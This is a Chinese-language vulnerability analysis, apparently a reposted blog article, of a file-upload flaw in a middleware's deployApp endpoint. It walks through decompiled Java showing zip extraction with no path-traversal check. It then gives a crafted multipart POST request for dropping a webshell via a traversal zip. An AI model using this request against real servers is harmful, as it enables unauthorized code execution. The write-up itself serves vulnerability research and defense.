某国产中间件文件上传漏洞分析
某国产中间件文件上传漏洞分析
黑白之道 2024-02-03 18:24
0x01 漏洞分析
该系统是基于spring mvc,根据通报搜索路由为deployApp,找的相关controller
最终找的路由为/xxxx/application/deployApp,且对应controller为ApplicationMgmtController,接口方法如下
该方法主要分为三步
1、首先是根据请求中的参数来初始化创建AASAppDeployModel对象
2、获取clientFile中上传的文件内容,创建临时文件文件存储,并将文件名存入上一步创建的AASAppDeployModel对象
3、根据deployInServer进入对AASAppDeployModel对象不同的处理方法中,而deployInServer默认是false
在第一步初始化时调用buildAppDeployModel,可以看到
有如上参数参与了初始化。
随后创建完临时文件后进入deployAppInClient方法,最终来到AASAppServerServiceImpl#deployAppInClient方法中
public boolean deployAppInClient(AppDeployModel model) {
AASAppDeployModel app = (AASAppDeployModel)model;
FileInputStream is = null;
byte[] contents = null;
File archiveFile = new File(app.getArchivePath());
byte[] contents;
try {
is = new FileInputStream(archiveFile);
contents = IOUtils.toByteArray(is);
} catch (Exception var10) {
throw new MBeanInvokeException(var10, new Object[]{"file upload error!"});
} finally {
if (is != null) {
IOUtils.closeQuietly(is);
}
}
Object[] params = new Object[]{app.getAppName(), contents, null, app.getVirtualHost(), app.getBaseContext(), app.getStartType(), app.getLoadon(), app.getGlobalSession(), app.getAllowHosts(), app.getDenyHosts()};
String[] signature = new String[]{String.class.getName(), byte[].class.getName(), byte[].class.getName(), String.class.getName(), String.class.getName(), String.class.getName(), Integer.class.getName(), Boolean.class.getName(), String.class.getName(), String.class.getName()};
MBeanInvokeUtils.invoke(this.jmxFactory.getConnection(), "apusic:j2eeType=Service,name=J2EEDeployer", "deploy", params, signature);
return true;
}
该方法主要是获取上传文件的数据流,将其转换为byte数组,随后MBeanInvokeUtils.invoke进行反射调用,其参数为params,方法参数类型为signature
MBeanInvokeUtils.invoke(this.jmxFactory.getConnection(), "apusic:j2eeType=Service,name=J2EEDeployer", "deploy", params, signature);
MBeanInvokeUtils.invoke其实是利用java jmx 在MBean Server中查询”apusic:j2eeType=Service,name=J2EEDeployer”获取其ObjectName对象然后调用对象方法,这里是调用deploy。
public static <T> T invoke(MBeanServerConnection connection, String objectName, String operationName, Object[] params, String[] signature) {
ObjectName name = searchUniqueObjectName(connection, objectName);
return invoke(connection, name, operationName, params, signature);
}
全局搜索J2EEDeployer找的了以下可疑类
找的该类的发现确实有同参数类型的deploy方法
public synchronized ObjectName deploy(String name, byte[] archiveData, byte[] configData, String virtualHost, String baseContext, String startType, Integer loadon, Boolean globalSeesion, String allowHosts, String denyHosts) throws DeploymentException, IOException, InvalidModuleException {
ObjectName var18;
try {
File archiveFile = this.saveArchive(name, archiveData);
String archivePath = archiveFile.getPath();
String configPath = null;
if (configData != null) {
File configFile = this.saveConfig(name, configData);
configPath = configFile.getPath();
}
var18 = this.deploy(name, archivePath, configPath, virtualHost, baseContext, startType, loadon, globalSeesion, allowHosts, denyHosts);
} finally {
this.removeUploadedFiles();
}
return var18;
}
此时会将之前上传文件的byte[]数据通过saveArchive再次保存到本地,获取其文件路径赋值给archivePath,最终调用下面这个deploy方法
public synchronized ObjectName deploy(String name, String archivePath, String configPath, String virtualHost, String baseContext, String startType, Integer loadon, Boolean globalSeesion, String allowHosts, String denyHosts, String oid) throws DeploymentException, IOException, InvalidModuleException {
File archiveFile = Config.getFile(archivePath);
ModuleType.getModuleType(archiveFile);
J2EEApplication app = this.getApplication(name);
J2EEApplication app2 = this.getApplication(archiveFile);
if (app2 != null && app2 != app) {
throw new DeploymentException(sm.get("APP_EXISTS", archivePath));
} else {
if (app != null) {
...
} else {
...
}
this.saveConfig();
return app.objectName();
}
}
首先是
File archiveFile = Config.getFile(archivePath);
ModuleType.getModuleType(archiveFile);
J2EEApplication app = this.getApplication(name);
J2EEApplication app2 = this.getApplication(archiveFile);
根据路径来获取上传文件的File对象,同时通过传入name获取J2EEApplication对象
public J2EEApplication getApplication(String name) {
Iterator var2 = this.userApps.iterator();
J2EEApplication app;
do {
if (!var2.hasNext()) {
return null;
}
app = (J2EEApplication)var2.next();
} while(!name.equals(app.getName()));
return app;
}
name是由上传请求中的参数appName来确定的,当我们自定义appName时this.userApps中不存在对应app,所以返回为null。
最终deploy会进入else逻辑,即
} else {
app = new J2EEApplication(name, archivePath, configPath);
if (virtualHost != null) {
app.setVirtualHost(virtualHost);
}
...
if (denyHosts != null) {
app.setDenyHosts(denyHosts);
}
this.userApps.add(app);
this.deleteApps.remove(app);
MBeanServer mbs = this.getMBeanServer();
try {
mbs.registerMBean(app, (ObjectName)null);
if (this.autoDeployer != null) {
this.autoDeployer.removeUnstallFile(app.getSourceFile());
}
mbs.addNotificationListener(app.objectName(), this, (NotificationFilter)null, (Object)null);
app.setInstallDir(new File(this.deployDir, name));
app.setExtendDir(new File(this.extendDir, name));
if (startType == null || startType.equals("auto")) {
app.start();
}
} catch (Exception var19) {
this.undeploy(app.getName());
throw new DeploymentException(sm.get("APP_START_FAILED", name), var19);
}
}
this.saveConfig();
return app.objectName();
}
上面是首先是通过app = new J2EEApplication(name, archivePath, configPath);来创建J2EEApplication对象,利用传入参数来初始化app对象中对应变量值。
重点关注
app.setInstallDir(new File(this.deployDir, name));
app.setExtendDir(new File(this.extendDir, name));
if (startType == null || startType.equals("auto")) {
app.start();
}
首先是初始化app对象中的installDir和extendDir变量
当startType为null或者auto时会执行J2EEApplication#start()方法,通过分析最终调用J2EEApplication#startService方法
主要是对成员变量进行初始化,但是并没有看到对前面上传文件有关的archivePath或archiveFile变量的操作,跟进到this.load()方法
这里出现了sourceFile这个变量,而它在我们之前new J2EEApplication(name, archivePath, configPath);时就完成了初始化
public J2EEApplication(String name, String path, String configPath) {
super("J2EEApplication", name, J2EEServer.OBJECT_NAME);
this.name = name;
this.path = path;
this.sourceFile = Config.getFile(path);
this.configPath = configPath;
this.setLogger(Logger.getLogger("application." + name));
}
首先是获取moduleType
主要是判断后缀名,当上传zip等压缩文件时默认是EAR。
此时在load()方法中会进入loadEAR()
这里首先是创建exploadDir目录,它由installDir/jarfiles/{appName}+hex(stamp)组成。而installDir是在app.setInstallDir(new File(this.deployDir, name));创建的,分析发现deployDir为组件安装目录下的domains/deploy。
所以exploadDir=domains/deploy/{appName}/jarfiles/{appName}+hex(stamp)。
然后调用FileUtil#unpackJarFile方法进行解压操作
public static void unpackJarFile(File jarFile, File dir) throws IOException {
InputStream fis = new FileInputStream(jarFile);
ZipInputStream zis = new ZipInputStream(fis);
OutputStream out = null;
try {
for(ZipEntry e = zis.getNextEntry(); e != null; e = zis.getNextEntry()) {
File f = new File(dir, e.getName());
if (e.isDirectory()) {
if (!f.exists() && !f.mkdirs()) {
throw new IOException("Cannot make directory " + f.getPath());
}
} else {
File d = f.getParentFile();
if (d != null && !d.exists() && !d.mkdirs()) {
throw new IOException("Cannot make directory " + d.getPath());
}
out = new FileOutputStream(f);
copy(zis, out);
out.close();
}
}
} finally {
zis.close();
fis.close();
if (out != null) {
out.close();
}
}
}
但是exploadDir无法直接访问,而且在unpackJarFile方法中未对目录穿越做过了,所以可以构造可以目录穿越的压缩包,将webshell解压到domains/applications/default/public_html/下。
总结
0x02 构造payload并复现
于是构造payload为
POST /xxxxx/xxxx/application/deployApp HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNotThoE1rFKMKxp5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 1499
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="appName"
12123123
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="deployInServer"
false
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="clientFile"; filename="test2.zip"
Content-Type: application/x-zip-compressed
PK...
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="archivePath"
------WebKitFormBoundaryNotThoE1rFKMKxp5
...
------WebKitFormBoundaryNotThoE1rFKMKxp5--
bp直接读取zip可能会乱码保存,这里用yakit提供的file标签
成功解压到指定目录
文章来源:奇安信攻防社区
链接:https://forum.butian.net/share/2700
作者:Duck
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END